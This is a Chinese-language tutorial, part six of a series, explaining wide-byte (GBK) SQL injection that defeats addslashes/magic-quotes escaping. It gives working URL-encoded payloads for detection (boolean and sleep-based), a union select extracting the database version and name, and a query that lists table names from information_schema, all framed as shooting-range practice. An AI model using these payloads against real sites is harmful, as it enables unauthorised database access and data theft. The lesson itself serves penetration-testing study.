web安全之SQL注入(六)

文中详细讲解web安全之SQL注入,通过文中内容更加深入的掌握SQL注入的原理及检测方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

web安全之SQL注入(六)

宽字节注入

原理

一般情况下开启gpc可以防御很多字符串型的注入,但如果数据库编码不对,同样可以导致SQL防注入绕过,实现注入攻击,当我们数据库编码和php编码设置不同的两种编码时,则就有可能造成宽字节注入,这样就算开启了gpc,也会因为此原因实现逃逸gpc。
要有宽字节注入,首先要首先要满足数据库后端使用双/多字节解析SQL语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字符,在我们的Big5和GBK字符集是存在的,但在UTF-8中已经没有这种字符,所以就不存在宽字节注入。

%df%27===(addslashes)===>%df%5c%27===(数据库 GBK)===>

这里我来简单说下上面语句的原理,因为开启了gpc或者addslashes这种转义函数。所以我们输入的单引号,通过中间件进行url编码,就是%27,在加上存在gpc或addslashes转义函数,单引号就会变成反斜杠+单引号,也就是%5c%27,所以当我们在输入时,加上%df时,就会变成%df%5c%27,因为数据库是GBK,所以就会变成中文的運字,而经过转义的反斜杠则不存在,从而实现逃逸gpc或者addslashes转义函数。
web安全之SQL注入(六)_第1张图片

代码分析

从图中就可以看出利用%df%5c%27,变成運,这样我们就可以在后面继续写入我们的SQL注入语句,从而获取敏感信息。
web安全之SQL注入(六)_第2张图片

漏洞演示

首先是检测是否存在宽字节注入。输出%df%27 在配合and1=1来进行检测,或者使用sleep函数。

-1%df%27%20and%201=1--+ #根据页面是否有乱码
-1%df%27%20or%20sleep(10)--+  #根据页面是否有延时

web安全之SQL注入(六)_第3张图片
web安全之SQL注入(六)_第4张图片
当发现存在宽字节注入时,则可以使用常规的注入方式来获取敏感信息。

id=-1%df%27%20union%20select%201,version(),database()--+

web安全之SQL注入(六)_第5张图片
获取表名,字段名也是相同的方法来获取。

id=-1%df%27%20union%20select%201,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+

web安全之SQL注入(六)_第6张图片

你可能感兴趣的:(WEB安全,web安全,SQL注入,渗透测试,MYSQL)